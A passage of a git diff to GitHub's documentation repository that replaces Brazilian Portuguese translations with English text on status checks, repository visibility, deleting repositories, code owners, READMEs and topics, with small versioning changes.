fpt or ghae or ghes or ghec %} +## Conflicts between head commit and test merge commit + Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)." ![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) {% endif %} +## Handling skipped but required checks + +Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory. + +If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request. + +### Example + +In this example you have a workflow that's required to pass. + +```yaml +name: ci +on: + pull_request: + paths: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [12.x, 14.x, 16.x] + steps: + - uses: actions/checkout@v2 + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v2 + with: + node-version: ${{ matrix.node-version }} + cache: 'npm' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request: + +![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png) + +You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below : + +```yaml +name: ci +on: + pull_request: + paths-ignore: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: 'echo "No build required" ' +``` +Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow. + +![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png) + +{% note %} + +**Notes:** +* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}. + +{% endnote %} + It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. ``` diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md index 0a8161ae74..6a27e9ea41 100644 --- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md +++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -1,6 +1,6 @@ --- -title: Sobre repositórios -intro: Um repositório contém todos os arquivos do seu projeto e o histórico de revisão de cada arquivo. Você pode discutir e gerenciar o trabalho do projeto dentro do repositório. +title: About repositories +intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository. redirect_from: - /articles/about-repositories - /github/creating-cloning-and-archiving-repositories/about-repositories @@ -20,56 +20,63 @@ topics: - Repositories --- -## Sobre repositórios +## About repositories -Você pode possuir repositórios individualmente ou compartilhar a propriedade de repositórios com outras pessoas em uma organização. +You can own repositories individually, or you can share ownership of repositories with other people in an organization. -É possível restringir quem tem acesso a um repositório escolhendo a visibilidade do repositório. Para obter mais informações, consulte "[Sobre a visibilidade do repositório](#about-repository-visibility)." +You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)." -Para repositórios possuídos pelo usuário, você pode fornecer a outras pessoas acesso de colaborador para que elas possam colaborar no seu projeto. Se um repositório pertencer a uma organização, você poderá fornecer aos integrantes da organização permissões de acesso para colaboração no seu repositório. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% ifversion fpt or ghec %} -Com o {% data variables.product.prodname_free_team %} em contas de usuário e organizações, você pode trabalhar com colaboradores ilimitados em repositórios públicos ilimitados, com um conjunto completo de recursos, ou em repositórios privados ilimitados com um conjunto de recursos limitados. Para obter ferramentas avançadas para repositórios privados, você pode fazer o upgrade para {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} ou {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} +With {% data variables.product.prodname_free_team %} for user accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} {% else %} -Cada pessoa e organização podem ter repositórios ilimitados e convidar um número ilimitado de colaboradores para todos os repositórios. +Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories. {% endif %} -Você pode usar repositórios para gerenciar seu trabalho e colaborar com outras pessoas. -- Você pode usar problemas para coletar feedback do usuário, relatar erros de software e organizar tarefas que você gostaria de realizar. Para obter mais informações, consulte "[Sobre problemas](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %} +You can use repositories to manage your work and collaborate with others. +- You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues)."{% ifversion fpt or ghec %} - {% data reusables.discussions.you-can-use-discussions %}{% endif %} -- É possível usar pull requests para propor alterações em um repositório. Para obter mais informações, consulte "[Sobre pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)". -- Você pode usar quadros de projeto para organizar e priorizar seus problemas e pull requests. Para obter mais informações, consulte "[Sobre quadros de projeto](/github/managing-your-work-on-github/about-project-boards)". +- You can use pull requests to propose changes to a repository. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." +- You can use project boards to organize and prioritize your issues and pull requests. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)." {% data reusables.repositories.repo-size-limit %} -## Sobre a visibilidade do repositório +## About repository visibility -É possível restringir quem tem acesso a um repositório, escolhendo a visibilidade de um repositório: {% ifversion fpt or ghes or ghec %}público, interno, ou privado{% elsif ghae %}privado ou interno{% else %} público ou privado{% endif %}. +You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. -{% ifversion ghae %}Ao criar um repositório pertencente à sua conta de usuário, o repositório é sempre privado. Ao criar um repositório pertencente a uma organização, você pode optar por tornar o repositório privado ou interno.{% else %}Ao criar um repositório, você pode optar por tornar o repositório público ou privado.{% ifversion fpt or ghes or ghec %} se você estiver criando o repositório em uma organização{% ifversion fpt or ghec %} que é propriedade de uma conta corporativa{% endif %}, você também poderá optar por tornar o repositório interno.{% endif %}{% endif %} +{% ifversion fpt or ghec or ghes %} + +When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} can also be created with internal visibility. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% ifversion ghes %} -Se {% data variables.product.product_location %} não estiver em modo privado ou por trás de um firewall, repositórios públicos poderão ser acessados por todos na internet. Caso contrário, os repositórios públicos estarão disponíveis para todos usando {% data variables.product.product_location %}, incluindo colaboradores externos. Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização. {% ifversion ghes %} Os repositórios internos podem ser acessados pelo integrantes da empresa. Para obter mais informações, consulte "[Sobre repositórios internos](#about-internal-repositories)."{% endif %} {% elsif ghae %} -Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização. Repositórios internos podem ser acessados por todos os integrantes da empresa. Para obter mais informações, consulte "[Sobre repositórios internos](#about-internal-repositories)." -{% else %} -Os repositórios públicos podem ser acessados por todos na internet. Os repositórios só podem ser acessados por você, pelas pessoas com as quais você compartilha explicitamente o acesso e, para repositórios da organização, por determinados integrantes da organização. Os repositórios internos podem ser acessados por todos os integrantes da empresa. Para obter mais informações, consulte "[Sobre repositórios internos](#about-internal-repositories)." + +When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal. + {% endif %} -Os proprietários da organização sempre têm acesso a todos os repositórios criados em uma organização. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +{%- ifversion fpt or ghec %} +- Public repositories are accessible to everyone on the internet. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- elsif ghes %} +- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. +{%- elsif ghae %} +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." +{%- endif %} -As pessoas com permissões de administrador para um repositório podem alterar a visibilidade de um repositório existente. Para obter mais informações, consulte "[Configurar visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)". +Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -{% ifversion fpt or ghae or ghes or ghec %} -## Sobre repositórios internos +People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." -{% note %} +{% ifversion ghes or ghec or ghae %} +## About internal repositories -**Observação:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - -{% data reusables.repositories.about-internal-repos %} Para obter mais informações sobre o innersource, consulte a documentação técnica do {% data variables.product.prodname_dotcom %}"[Uma introdução ao innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)". +{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." @@ -83,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int {% data reusables.repositories.internal-repo-default %} -Qualquer integrante da empresa pode bifurcar qualquer repositório interno pertencente a uma organização da empresa. O repositório bifurcado pertencerá à conta de usuário do integrante e a visibilidade da bifurcação será privada. Se um usuário for removido de todas as organizações pertencentes à empresa, essas bifurcações do usuário dos repositórios internos do usuário serão removidas automaticamente. +Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically. {% endif %} -## Limites para visualização de conteúdo e diffs no repositório +## Limits for viewing content and diffs in a repository -Determinados tipos de recursos podem ser muito grandes, exigindo processamento elevado no{% data variables.product.product_name %}. Por isso, limites são estabelecidos para assegurar que as solicitações sejam completadas em um período razoável. +Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time. -A maioria dos limites abaixo afetam o {% data variables.product.product_name %} e a API. +Most of the limits below affect both {% data variables.product.product_name %} and the API. -### Limites de texto +### Text limits -Os arquivos de texto acima de **512 KB** são sempre exibidos como texto sem formatação. O código não destaca a sintaxe e arquivos em prosa não são convertidos em HTML (como markdown, AsciiDoc *etc.*). +Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*). -Arquivos de texto acima de **5 MB** somente estão disponíveis por meio de suas URLs brutas, que são servidas em `{% data variables.product.raw_github_com %}`; por exemplo, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Clique no botão **Raw** (Bruto) para obter o URL bruto de um arquivo. +Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file. -### Limites de diff +### Diff limits -Os diffs podem ficar muito grandes, por isso impusemos estas restrições em diffs para commits, pull requests e visualizações comparadas: +Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views: -- Em um pull request, nenhum diff total pode exceder *20.000 linhas que você pode carregar* ou *1 MB* de dados de diff não processados. -- Nenhum diff de arquivo pode exceder *20.000 linhas que você pode carregar* ou *500 KB* de dados do diff não processado. *Quatro mil linhas* e *20 kB* são automaticamente carregados em um único arquivo. -- O número máximo de arquivos em um único diff é limitado a *300*. -- O número máximo de arquivos renderizáveis (como imagens, PDFs e arquivos GeoJSON) em um único diff é limitado a *25*. +- In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data. +- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file. +- The maximum number of files in a single diff is limited to *300*. +- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*. -Algumas partes de um diff limitado podem ser exibidas, mas qualquer excedente de limite não é mostrado. +Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown. -### Limites de listas de commits +### Commit listings limits -As páginas de visualização comparada e pull requests exibem uma lista de commits entre as revisões `base` e `head`. Essas listas são limitadas a **250** commits. Caso o limite seja excedido, uma observação indicará que commits adicionais estão presentes (mas não são mostrados). +The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown). -## Leia mais +## Further reading -- "[Criar um repositório](/articles/creating-a-new-repository)" -- "[Sobre bifurcações](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" -- "[Colaborar com problemas e pull requests](/categories/collaborating-with-issues-and-pull-requests)" -- "[Gerenciar seu trabalho no {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" -- "[Administrar um repositório](/categories/administering-a-repository)" -- "[Visualizar dados de repositório com gráficos](/categories/visualizing-repository-data-with-graphs/)" -- "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)" -- "[Glossário do {% data variables.product.prodname_dotcom %}](/articles/github-glossary)" +- "[Creating a new repository](/articles/creating-a-new-repository)" +- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)" +- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" +- "[Administering a repository](/categories/administering-a-repository)" +- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)" +- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" +- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)" diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md index 3251b99325..5fb2fd7aea 100644 --- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -1,6 +1,6 @@ --- -title: Excluir um repositório -intro: Você poderá excluir qualquer repositório ou bifurcação se for proprietário da organização ou tiver permissões de administrador para o repositório ou a bifurcação. A exclusão de um repositório bifurcado não elimina o repositório upstream. +title: Deleting a repository +intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. redirect_from: - /delete-a-repo/ - /deleting-a-repo/ @@ -15,25 +15,26 @@ versions: topics: - Repositories --- +{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %} -Os {% data reusables.organizations.owners-and-admins-can %} excluem um repositório da organização. Se a opção **Allow members to delete or transfer repositories for this organization** (Permitir que os integrantes excluam ou transfiram repositórios desta organização) tiver sido desabilitada, somente proprietários da organização poderão excluir repositórios da organização. {% data reusables.organizations.new-repo-permissions-more-info %} - -{% ifversion not ghae %}Excluir um repositório público não excluirá nenhuma bifurcação do repositório.{% endif %} +{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %} {% warning %} -**Avisos**: +**Warnings**: -- Excluir um repositório irá excluir **permanentemente** anexos da versão e permissões da equipe. Esta ação **não pode** ser desfeita. -- Deleting a private or internal repository will delete all forks of the repository. +- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. {% endwarning %} -Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. Para obter mais informações, consulte "[Restaurar um repositório excluído](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)". {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} +Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -2. Em Danger Zone (Zona de perigo), clique em **Delete this repository** (Excluir este repositório). ![Botão Repository deletion (Exclusão de repositório)](/assets/images/help/repository/repo-delete.png) -3. **Leia os avisos**. -4. Digite o nome do repositório que deseja excluir para verificar se está eliminando o correto. ![Etiquetagem de exclusão](/assets/images/help/repository/repo-delete-confirmation.png) -5. Clique em **I understand the consequences, delete this repository** (Entendi as consequências; exclua este repositório). +2. Under Danger Zone, click **Delete this repository**. + ![Repository deletion button](/assets/images/help/repository/repo-delete.png) +3. **Read the warnings**. +4. To verify that you're deleting the correct repository, type the name of the repository you want to delete. + ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png) +5. Click **I understand the consequences, delete this repository**. diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md index be05049a7c..0371d81e62 100644 --- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -37,7 +37,7 @@ Each CODEOWNERS file assigns the code owners for a single branch in the reposito For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. -{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %} ## CODEOWNERS file size CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md index 19c6b11f74..970ef6ff72 100644 --- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -1,6 +1,6 @@ --- -title: Sobre READMEs -intro: 'Você pode adicionar um arquivo README ao seu repositório para informar outras pessoas por que seu projeto é útil, o que elas podem fazer com o projeto e como elas podem usá-lo.' +title: About READMEs +intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.' redirect_from: - /articles/section-links-on-readmes-and-blob-pages/ - /articles/relative-links-in-readmes/ @@ -15,23 +15,22 @@ versions: topics: - Repositories --- +## About READMEs -## Sobre READMEs +You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. -É possível adicionar um arquivo README a um repositório para comunicar informações importantes sobre o seu projeto. Um README, junto com uma licença de repositório{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, arquivo de citação{% endif %}{% ifversion fpt or ghec %}, diretrizes de contribuição e um código de conduta{% elsif ghes %} e diretrizes de contribuição{% endif %}, comunicam as expectativas para o seu projeto e ajudam você a gerenciar as contribuições. +For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." -Para obter mais informações sobre como fornecer diretrizes para o seu projeto, consulte {% ifversion fpt or ghec %}"[Adicionar um código de conduta ao seu projeto](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)e {% endif %}"[Configurar o seu projeto para contribuições saudáveis](/communities/setting-up-your-project-for-healthy-contributions)". +A README is often the first item a visitor will see when visiting your repository. README files typically include information on: +- What the project does +- Why the project is useful +- How users can get started with the project +- Where users can get help with your project +- Who maintains and contributes to the project -Um README, muitas vezes, é o primeiro item que um visitante verá ao visitar seu repositório. Os arquivos README geralmente incluem informações sobre: -- O que o projeto faz -- Por que o projeto é útil -- Como os usuários podem começar a usar o projeto -- Onde os usuários podem obter ajuda com seu projeto -- Quem mantém e contribui com o projeto +If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors. -Se você colocar o arquivo README na raiz do repositório, `docs`, ou no diretório `.github` oculto, o {% data variables.product.product_name %} reconhecerá e apresentará automaticamente o README aos visitantes do repositório. - -![Página principal do repositório github/scientist e seu arquivo README](/assets/images/help/repository/repo-with-readme.png) +![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png) {% ifversion fpt or ghes or ghec %} @@ -39,37 +38,31 @@ Se você colocar o arquivo README na raiz do repositório, `docs`, ou no diretó {% endif %} -![Arquivo README no nome de usuário/repositório do nome de usuário](/assets/images/help/repository/username-repo-with-readme.png) +![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png) {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -## Índice gerado automaticamente para arquivos README +## Auto-generated table of contents for README files -Para a visualização interpretada de qualquer arquivo Markdown em um repositório, incluindo arquivos README {% data variables.product.product_name %} irá gerar automaticamente um índice com base nos títulos da seção. Você pode visualizar o índice para um arquivo LEIAME, clicando no ícone de menu {% octicon "list-unordered" aria-label="The unordered list icon" %} no canto superior esquerdo da página interpretada. +For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %} menu icon at the top left of the rendered page. -![README com TOC gerado automaticamente](/assets/images/help/repository/readme-automatic-toc.png) - -O índice gerado automaticamente é habilitado por padrão para todos os arquivos Markdown em um repositório, mas você pode desabilitar esta funcionalidade para o repositório. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Em "Funcionalidades", desmarque **Índice**. ![Configuração automática de TOC para repositórios](/assets/images/help/repository/readme-automatic-toc-setting.png) +![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png) {% endif %} -## Links de seção nos arquivos README e páginas blob +## Section links in README files and blob pages {% data reusables.repositories.section-links %} -## Links relativos e caminhos de imagem em arquivos README +## Relative links and image paths in README files {% data reusables.repositories.relative-links %} ## Wikis -A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. Para obter mais informações, consulte "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)." +A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." -## Leia mais +## Further reading -- "[Adicionar um arquivo a um repositório](/articles/adding-a-file-to-a-repository)" -- "[Tornar READMEs legíveis](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" da 18F +- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)" +- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md index f8c86747db..2aa2f07f4f 100644 --- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -1,6 +1,6 @@ --- -title: Classificar repositório com tópicos -intro: 'Para ajudar outras pessoas a encontrar seu projeto e a contribuir com ele, você pode adicionar tópicos ao repositório relacionados à intenção do projeto, área de assunto, grupos de afinidade ou outras características importantes.' +title: Classifying your repository with topics +intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.' redirect_from: - /articles/about-topics/ - /articles/classifying-your-repository-with-topics @@ -13,28 +13,30 @@ versions: ghec: '*' topics: - Repositories -shortTitle: Classificar com tópicos +shortTitle: Classify with topics --- +## About topics -## Sobre tópicos +With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}. -Com tópicos, você pode explorar repositórios em uma área de assunto específica, encontrar projetos com os quais contribuir e descobrir novas soluções para um problema específico. Os tópicos aparecem na página principal de um repositório. É possível clicar no nome de um tópico para {% ifversion fpt or ghec %}ver tópicos relacionados e uma lista de outros repositórios classificados com esse tópico{% else %}pesquisar outros repositórios com esse tópico{% endif %}. +![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png) -![Página principal do repositório de teste mostrando tópicos](/assets/images/help/repository/os-repo-with-topics.png) +To browse the most used topics, go to https://github.com/topics/. -Para procurar os tópicos mais usados, vá para https://github.com/topics/. +{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %} -{% ifversion fpt or ghec %}Você pode contribuir com o conjunto de tópicos apresentados do {% data variables.product.product_name %} no repositório [github/explore](https://github.com/github/explore). {% endif %} +Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} -Os administradores de repositório podem adicionar qualquer tópico que desejarem a um repositório. Os tópicos úteis para classificar um repositório incluem a finalidade pretendida do repositório, área de assunto, comunidade ou linguagem.{% ifversion fpt or ghec %}Além disso, o {% data variables.product.product_name %} analisa o conteúdo do repositório público e gera tópicos sugeridos que os administradores de repositório podem aceitar ou rejeitar. O conteúdo do repositório privado não é analisado e não recebe sugestões de tópico.{% endif %} +{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. -{% ifversion ghae %}Interno {% else %}Público, interna, {% endif %}e repositórios privados podem ter tópicos, embora você veja apenas repositórios privados aos quais você tem acesso nos resultados de pesquisa de tópicos. +You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)." -Você pode pesquisar repositórios que são associados a um tópico específico. Para obter mais informações, consulte "[Pesquisar repositórios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)". Também é possível pesquisar uma lista de tópicos no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Pesquisar tópicos](/search-github/searching-on-github/searching-topics)". - -## 